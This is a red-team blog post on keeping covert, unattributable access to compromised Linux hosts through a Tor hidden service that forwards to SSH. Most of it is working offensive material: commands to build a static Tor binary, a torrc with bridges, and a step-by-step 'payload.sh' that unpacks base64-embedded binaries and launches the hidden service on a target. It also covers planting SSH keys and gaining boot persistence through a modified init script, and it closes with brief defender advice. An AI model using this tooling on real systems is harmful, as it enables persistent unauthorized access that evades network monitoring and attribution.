In this post I’ll be dropping a tool and set of techniques that red teams can use to maintain anonymous, covert access to compromised machines. I’ll also present some advice for defenders looking to detect and respond to these types of attacks.
This is not a brand new idea, but as far as I’m aware it hasn’t been very thoroughly discussed from the perspective of penetration testing and red teaming. Malware authors have been using these techniques since at least 2012. If they’re doing it, we should be too.
On high end engagements against clients with mature security programs, getting caught ruins everyone’s day. When the IP addresses you use to maintain remote access are discovered and blocked, if you’re not ready you’ll be flat on your face and back to square one. Depending how frisky your adversary is, they may even try to find out who owns those IP addresses; attribution back to your team would just be embarrassing.
Enter Tor – a simple but eloquent solution. The Tor network can be leveraged to maintain access to compromised hosts. What does this mean in practice?
- Anonymous, un-attributable, remote access traffic
- Constantly changing IP addresses so that traffic is not trivially blocked at the network level
- Protocol obfuscation using Tor Bridges and Pluggable Transports to evade protocol inspection
- Proxy support
- Secure shells that don’t expose clients to unnecessary risk
- The ability to use a compromised machine as a pivot to other internal hosts
How Does This Magic Work?
The setup is actually surprisingly simple!
Before we get into the details, let’s review some Tor concepts for those who are unfamiliar.
Tor 101 – Bridges and Directory
Let’s start with the following diagram, shamelessly borrowed from the EFF and hacked for our purposes:
Let’s pretend that Alice is on your corporate network and wants to connect to Tor so she can chat with her sick grandmother on Facebook. Unfortunately your evil Corporation has a “no compassion” policy that won’t allow this. Being a responsible granddaughter with a mildly rebellious streak, Alice brings the Tor client to work on a USB key.
The first thing that Alice’s Tor client needs to do is to obtain a list of Tor relays – other computers running Tor that will accept and relay encrypted traffic within the network. By default this is accomplished by connecting to one of the 9 or so Tor “Directory Servers”.
Not one to be outwitted by “the man”, Alice instead uses a Tor “Bridge”. The Bridge will act as the first step between Alice and the rest of the Tor network. Bridges support protocol obfuscation through “pluggable transports”, traffic is masked so that it isn’t easily fingerprinted as Tor. Further, no public list of bridges is available, they can only be obtained a few at a time to prevent blacklisting.
Tor 102 – Hidden Services and Internet Access
Now that Alice can talk to some Tor relays, let’s suppose she tries to access Bob’s web server on the regular Internet. The following diagram shows how this would look:
Tor has another very important concept called the “Hidden Service”. Hidden services accept incoming traffic from the Tor network on a local TCP port and relay it to another host and port specified in the Tor configuration file – just like an SSH tunnel! This is interesting because the port listening for incoming connections over the Tor network can be firewalled off from the regular Internet. Everything goes through the Tor connection.
These Hidden Services are addressable at “.onion” addresses by anyone connected to Tor. Each hidden service has a random RSA private key to encrypt all communication. A partial hash of the corresponding public key is what gets used for the “.onion” address, so they usually look something like this “ab88t3k7eqe66noe.onion”.
All traffic between a Tor client and a Tor hidden service is encrypted end to end, never leaving the Tor network. The detailed mechanics of how connections to hidden services are initiated and relayed can be found here. One important thing to note is that the hidden service name will be advertised to a handful of nodes on the Tor network. This is necessary for connections to be possible, but means that the hidden service will not be 100% hidden.
Why Does Any Of This Matter?
Because the Tor network, specifically hidden services are an attackers dream! Consider spinning up a hidden service that forwards Tor connections inbound on TCP port “2222”, to the SSH listener on the compromised machine on TCP port “22”.
In this case, we could connect to our compromised machine by doing the following:
- ssh -i /path/to/key -p2222 email@example.com
This connection will be anonymously relayed through the Tor network, bypassing firewall rules, and potentially even proxies and content inspection.
Using the above with an SSH tunnel, we can do all sorts of great things, pivoting, forwarding, etc.
On a Windows machine, something similar could be accomplished by opening up the SMB port 445 or RDP port 3389 to the Tor network.
Offense: “Show me the code!”
The beauty of this, is there’s very little custom code required, the Tor development team has already done the heavy lifting. What you will need to do is get your hands on a statically compiled Tor binary for your target platform, and setup the appropriate configuration files. Another “nice to have” is to bundle it all into a shell script that you can upload to a target and run with no further interaction. We’ll cover all of those things in this section.
Static Binaries for Dummies
A static binary has all of the appropriate libraries bundled within it, making it suitable for cross-platform deployment. This means that a binary you statically compile on an x64 Ubuntu machine will run on an x64 RedHat machine.
Statically compiling Tor on Linux unfortunately seems only semi-supported. The build flags to accomplish it don’t seem to work, at least on Debian based systems. So buckle up and get ready for a lesson in debugging GCC output!
We’re going to do this on a fresh build of Kali 2.0. The first step to compiling Tor is downloading and extracting the source and installing the required dependencies:
wget https://www.torproject.org/dist/tor-0.2.6.10.tar.gz tar xzvf tor-0.2.6.10.tar.gz cd tor-0.2.6.10 apt-get install libssl-dev libevent-dev zlib1g-dev
Next we need to run the configure script. Here’s where things get hairy. In a perfect world we could simply type the following command to prepare Tor to be built statically, you can try this buy your mileage may vary:
./configure --enable-static-tor \ --with-libevent-dir=/usr/lib/x86_64-linux-gnu/ \ --with-openssl-dir=/usr/lib/x86_64-linux-gnu/ \ --with-zlib-dir=/usr/lib/x86_64-linux-gnu/
Despite my best efforts and many variations on the above, it consitently produced the error:
checking for openssl directory... configure: WARNING: Could not find a linkable openssl. If you have it installed somewhere unusual, you can specify an explicit path using --with-openssl-dir configure: WARNING: On Debian, you can install openssl using "apt-get install libssl-dev" configure: error: Missing libraries; unable to proceed.
Let’s try something else. Instead of all those fancy options, let’s just build Tor normally by running the following two commands in series:
Now let’s go check out the Tor binary that just got built for us using the “ldd” command”. “ldd” will tell us what shared libraries are being loaded by the binary, for a static binary there should be none.
cd src/or ldd tor linux-vdso.so.1 (0x00007ffe02d00000) libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fd6982c3000) libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd697fc2000) libevent-2.0.so.5 => /usr/lib/x86_64-linux-gnu/libevent-2.0.so.5 (0x00007fd697d7a000) libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007fd697b1a000) libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007fd69771f000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd697502000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd6972fe000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd696f55000) /lib64/ld-linux-x86-64.so.2 (0x00007fd6988b7000)
Ouch – so many dynamic libraries. So why did we build this useless dynamic binary you ask? Well because more than just the Tor binary was built in the process. Running “make” also built all of the libraries we need to build a static binary manually! Since torture is still illegal in most of North America, I wont get too deep into the details, but here is the “gcc” command to do just that (note, this should be run from the src/or directory):
gcc -O2 -static -Wall -fno-strict-aliasing -L/usr/lib/x86_64-linux-gnu/ -o tor tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a ../common/libcurve25519_donna.a ../common/libor-event.a /usr/lib/x86_64-linux-gnu/libz.a -lm /usr/lib/x86_64-linux-gnu/libevent.a -lrt /usr/lib/x86_64-linux-gnu/libssl.a /usr/lib/x86_64-linux-gnu/libcrypto.a -lpthread -ldl
This will spit out a mess of warnings that can all be relatively safely ignored (I like to live dangerously).
Basically the “-static” flag tells gcc to build a static binary. The “-L” flag points to the location where we have libssl-dev, libz, and libevent installed, Debian puts them in “/usr/lib/x86_64-linux-gnu/”. The “-o” flag specifies the output file name, and all the “.a” files are linked together to create it. The same command can be used to build an i386 binary by simply updating the paths.
If we run “ldd” against the new binary:
ldd tor not a dynamic executable
That means it worked!
Tor is configured at runtime by pointing to a configuration file, usually called “torrc”. An example torrc file is shown below, open up your favorite text editor and paste the following in:
Bridge 184.108.40.206:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515 Bridge 220.127.116.11:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834 Bridge 18.104.22.168:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589 UseBridges 1 SocksPort 9050 SocksListenAddress 127.0.0.1 HiddenServiceDir ./.hs/ HiddenServicePort 2222 127.0.0.1:22
We got the above “Bridges” from bridges.torproject.org. You should probably get your own and replace them. Note that if there are specific TCP ports allowed outbound in your environment, you should find a Bridge running on those ports. In the example above, we found one running on TCP 443, commonly allowed out.
That’s all you need to do. The two “HiddenService” lines are all that’s required to configure Tor to host the hidden service. To spin up our new hidden service for testing, just run the following:
./tor -f /path/to/torrc
A new directory will be created called “.hs”, in that directory will be a file called “hostname”. If you look at the contents of this file you’ll see the “.onion” address where you can access your hidden service.
cat ./hs/hostname ab88t3k7eqe66noe.onion
Assuming the SSH service is running on the machine, we should be able to connect to it from another computer through the Tor network as follows:
ssh -p2222 firstname.lastname@example.org
The above command requires you to actually have a machine connected to the Tor network that is properly routing all TCP traffic through Tor. The easiest way to do this is to run a VM that has preconfigured this for you, like Tails or Whonix. I recommend Whonix if you plan on using this more than a few times, since Tails is “amnesic” by design (doesn’t like to persist information). Both of these are very easy to setup, so we won’t get into the details.
Creating a Payload
Let’s create a cool payload that bundles this whole thing up into a bash script.
First we’ll copy the “tor” binary file and our “torrc” file to a new directory:
mkdir ~/payload cp tor torrc ~/payload cd ~/payload
There's one more component to this payload that we'll need that doesn't ship with Tor. Unfortunately Tor requires the system running it to have an accurate clock. One way to solve this is using HTTP headers from well known websites. When you make an HTTP request to a web server, some web servers are configured to return the current time in their response. We can attempt to sync the system clock to this time (requires root usually). This is all automated by a perl script that someone else wrote, so lets use that.
wget http://www.rkeene.org/devel/htp/mirror/archive/perl/htp-0.9.3.tar.gz tar xzvf htp-0.9.3.tar.gz cp htp-0.9.3/sbin/htpdate-light .
Now if we run
sudo ./htpdate-light google.com our system time will sync with Google’s HTTP server.
Now that that’s out of the way, let’s bundle up our binaries into a compressed file to reduce the payload size
tar cvzf binaries.tar.gz tor htpdate-light
Now we’ll create our payload shell script, we’re going to base64 encode the tar file into a variable in the new script “payload.sh”:
echo '#!/bin/sh' > payload.sh echo -n 'torbin=' >> payload.sh cat binaries.tar.gz | base64 -w 0 >> payload.sh
Now open up “payload.sh” in your favorite text editor and paste the rest of the script in below the first line with all the base64 stuff:
echo $torbin | base64 -d > binaries.tar.gz tar xzvf binaries.tar.gz rm binaries.tar.gz chmod +x tor echo ' Bridge 22.214.171.124:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515 Bridge 126.96.36.199:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834 Bridge 188.8.131.52:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589 UseBridges 1 SocksPort 9050 SocksListenAddress 127.0.0.1 HiddenServiceDir ./.hs/ HiddenServicePort 2222 127.0.0.1:22 ' > ./torrc perl ./htpdate-light google.com ./tor -f ./torrc
I don’t recommend running “payload.sh” from the current directory, it’ll overwrite your other binary files, copy it to /tmp/ if you want to test it. If you copy the “payload.sh” file to a target Linux machine and run
It should fire up the Tor hidden service and bind it to the SSH listener. We just need to copy the hostname that gets generated in ./.hs/hostname and connect over ssh. It may also be necessary to add an ssh key to
~/.ssh/authorized_keys if you don’t know the password of the user you want to connect as.
If you want this to fire up on boot and you have root access to the machine, the easiest way is to simply modify an existing init script, usually in “/etc/init.d”. Ideally you would copy the binaries and configuration files for Tor to some inconspicuous place, and then modify the “init” script so that Tor is run when the system boots.
Evading Protocol Inspection and Leveraging Proxies
Hopefully the above all goes off without a hitch and you don’t need this section because it won’t help much🙂. Tor bridges can be setup with obfuscation and “pluggable transports” to make the traffic look like something it’s not. There are also options you can configure in the “torrc” file to push traffic through a proxy server. In a followup post we may get into some detail on how to configure this, but this post is already becoming too long.
Defense: “This sucks :(“
Unfortunately, this type of attack is hard to block at the network level – that’s why we use it. Using pluggable transports and/or Tor bridges, an attacker can obfuscate the traffic to have it appear as regular HTTP or HTTPS, and can even direct it through your corporate proxy using some options in the “torrc” file. This difficulty is by design, the people who build Tor provide these features to hinder detection and censorship.
The first step is to ensure that egress TCP traffic is being properly filtered. Any “exceptions” where a given port is allowed outbound through the firewall are trivial for an attacker to find. All outbound traffic should be forced through the corporate proxy.
Packet inspection at the proxy will stop naive attempts at this sort of attack. Alerting should be configured on detected Tor connections – this is something you want to get out of bed at 1am for. A Tor connection is 100% of the time going to be someone trying to do something you don’t want them too.